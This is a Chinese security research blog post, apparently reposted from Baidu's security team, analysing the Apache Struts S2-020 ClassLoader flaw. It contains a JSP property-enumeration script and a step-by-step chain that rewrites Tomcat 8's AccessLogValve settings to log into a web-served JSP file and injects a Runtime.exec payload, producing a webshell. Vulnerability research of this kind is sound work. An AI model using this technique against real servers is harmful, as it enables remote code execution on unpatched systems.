Struts S2-020这个通告已经公布有一段时间了。目前大家都知道这个漏洞可以造成DOS、文件下载等危害，相信各大厂商也已经采取了相应的安全措施。今天是和大家分享一下对这个漏洞的一点研究，包括如何在Tomcat 8下导致RCE，目的是抛砖引玉，有不足之处欢迎大家指出。
这个漏洞分析的一个难点在于：通过ognl的class.xx这种方式来遍历属性时，得到的是实际运行环境中的动态class，因此仅作静态分析是很困难的。例如classLoader，在不同容器中就各不相同。于是我编写了一个小脚本来自动枚举这样的属性：（这段脚本只考虑了int、string与boolean这些基本属性，未考虑数组等复杂的情况，实际情况下结果会更多）
<%@ page language="java" import="java.lang.reflect.*" %>
<%!
public void processClass(Object instance, javax.servlet.jsp.JspWriter out, java.util.HashSet set, String poc){
try {
Class<?> c = instance.getClass();
set.add(instance);
Method[] allMethods = c.getMethods();
for (Method m : allMethods) {
if (!m.getName().startsWith("set")) {
continue;
}
if (!m.toGenericString().startsWith("public")) {
continue;
}
Class<?>[] pType = m.getParameterTypes();
if(pType.length!=1) continue;
if(pType[0].getName().equals("java.lang.String")||
pType[0].getName().equals("boolean")||
pType[0].getName().equals("int")){
String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);
out.print(poc+"."+fieldName + "<br>");
}
}
for (Method m : allMethods) {
if (!m.getName().startsWith("get")) {
continue;
}
if (!m.toGenericString().startsWith("public")) {
continue;
}
Class<?>[] pType = m.getParameterTypes();
if(pType.length!=0) continue;
if(m.getReturnType() == Void.TYPE) continue;
Object o = m.invoke(instance);
if(o!=null)
{
if(set.contains(o)) continue;
processClass(o,out, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));
}
}
} catch (java.io.IOException x) {
x.printStackTrace();
} catch (java.lang.IllegalAccessException x) {
x.printStackTrace();
} catch (java.lang.reflect.InvocationTargetException x) {
x.printStackTrace();
}
}
%>
<%
java.util.HashSet set = new java.util.HashSet<Object>();
String poc = "class.classLoader";
example.HelloWorld action = new example.HelloWorld();
processClass(action.getClass().getClassLoader(),out,set,poc);
%>
在tomcat 8.0.3下Struts2.3.16的blank app中执行这段jsp，输出结果如下：
（省略部分非相关属性） class.classLoader.resources.context.parent.pipeline.first.encoding class.classLoader.resources.context.parent.pipeline.first.directory class.classLoader.resources.context.parent.pipeline.first.checkExists class.classLoader.resources.context.parent.pipeline.first.renameOnRotate class.classLoader.resources.context.parent.pipeline.first.fileDateFormat class.classLoader.resources.context.parent.pipeline.first.prefix class.classLoader.resources.context.parent.pipeline.first.rotatable class.classLoader.resources.context.parent.pipeline.first.buffered class.classLoader.resources.context.parent.pipeline.first.suffix class.classLoader.resources.context.parent.pipeline.first.locale class.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled class.classLoader.resources.context.parent.pipeline.first.enabled class.classLoader.resources.context.parent.pipeline.first.conditionUnless class.classLoader.resources.context.parent.pipeline.first.conditionIf class.classLoader.resources.context.parent.pipeline.first.pattern class.classLoader.resources.context.parent.pipeline.first.condition class.classLoader.resources.context.parent.pipeline.first.asyncSupported class.classLoader.resources.context.parent.pipeline.first.domain class.classLoader.resources.context.parent.pipeline.first.next.asyncSupported class.classLoader.resources.context.parent.pipeline.first.next.domain class.classLoader.resources.context.parent.pipeline.first.next.next.asyncSupported class.classLoader.resources.context.parent.pipeline.first.next.next.domain ......
这意味着Tomcat 8下至少有200多个boolean、int或string类型的属性是可以操纵的，虽然可修改不一定会产生危害，但至少说明这个漏洞的潜在风险不小。
经过分析发现，通过下面的方法可以造成webshell的效果，最终导致Tomcat下的RCE。
上面的属性中，有几个控制在tomcat上生成的access log的文件名，其默认值如下：
class.classLoader.resources.context.parent.pipeline.first.directory =logs class.classLoader.resources.context.parent.pipeline.first.prefix =localhost_access_log class.classLoader.resources.context.parent.pipeline.first.suffix = .txt class.classLoader.resources.context.parent.pipeline.first.fileDateFormat =.yyyy-mm-dd
默认情况下，生成的access log位于 logs目录（与webapps平行）下，文件名是localhost_access_log.2014-03-09.txt，但通过修改上面的属性值，可以导致在webapps目录下写入jspwebshell。具体步骤如下（以struts 2.3.16下的blank app为例）：
1.访问下面的url来改变属性：
2.访问下面的url来触发tomcat切换log（这里有个坑，这个属性必须是数字,这里设定为1），那么从此开始tomcat的access log将被记录入 webapps/ROOT/shell1.jsp中：
3.通过发包访问下面的请求，在access log中植入代码
http://127.0.0.1/struts2-blank/example/aaaa.jsp?a=<%Runtime.getRuntime().exec(“calc”);%>
访问上述请求后，就可以看到生成了webapps/ROOT/shell1.jsp，内容如下：
4.结合前面设定的参数，访问下面的url，观察shell执行 http://127.0.0.1/shell1.jsp
通过分析，上面的POC中class.classLoader.resources.context.parent.pipeline.first这个属性实际是org.apache.catalina.valves.AccessLogValve，在conf/server.xml里面有一段相关的配置：
<!-- Access log processes allexample. Documentation at:/docs/config/valve.html Note: The pattern used isequivalent to using pattern="common" --> <ValveclassName="org.apache.catalina.valves.AccessLogValve"directory="logs" prefix="localhost_access_log" suffix=".txt" pattern="%h %l %u %t"%r" %s %b" />
为何修改了dataformat会触发切换日志呢？注意下面一个属性，默认是true
.class.classLoader.resources.context.parent.pipeline.first.rotatable
每次Log时，都会调用rotate:
publicvoid log(CharArrayWriter message)
{
rotate();
…
而rotate是检查当前的systime 经过format后，与当前的tsDate是否相同。如果日期不同了，自然需要切换日志文件了：
public void rotate()
{
if (this.rotatable)
{
long systime =System.currentTimeMillis();
if (systime - this.rotationLastChecked> 1000L)
synchronized (this) {
if (systime -this.rotationLastChecked > 1000L) {
this.rotationLastChecked = systime;
String tsDate =this.fileDateFormatter.format(new Date(systime));
if (!this.dateStamp.equals(tsDate)){
close(true);
this.dateStamp = tsDate;
open();
}
}
}
}
}
而我们之前已经修改了dateFormat，所以就触发了日志切换。这个特性与具体的OS无关，是tomcat代码决定的。在linux与windows下证实该问题均存在。
这个POC距离实际的攻击还有一定的距离，发表此文仅供技术研究使用，请勿用于实际攻击。另外，也许还有其他的利用方式，Tomcat 8下那么多的可操控的属性，或许有别的也可以RCE？其他的容器下，是否也有这么多的可操控属性呢？欢迎感兴趣的同学与我们BSRC的同学讨论。
原文：http://sec.baidu.com/index.php?research/detail/id/18
| 博主猜你喜欢： | ||||
 Discuz X2.5最新版爆路径0day漏洞 |
 漏洞播报：apache Struts2远程代码执行漏洞分析(S2-013) |
 漏洞预警：struts2最新s2-016命令执行漏洞 – CVE-2013-2251 |
xdcms v2.0.2 注入0day漏洞源码分析 |
漏洞分析：Struts2(s2-016)远程代码执行漏洞详细代码分析 |
| 无觅 | ||||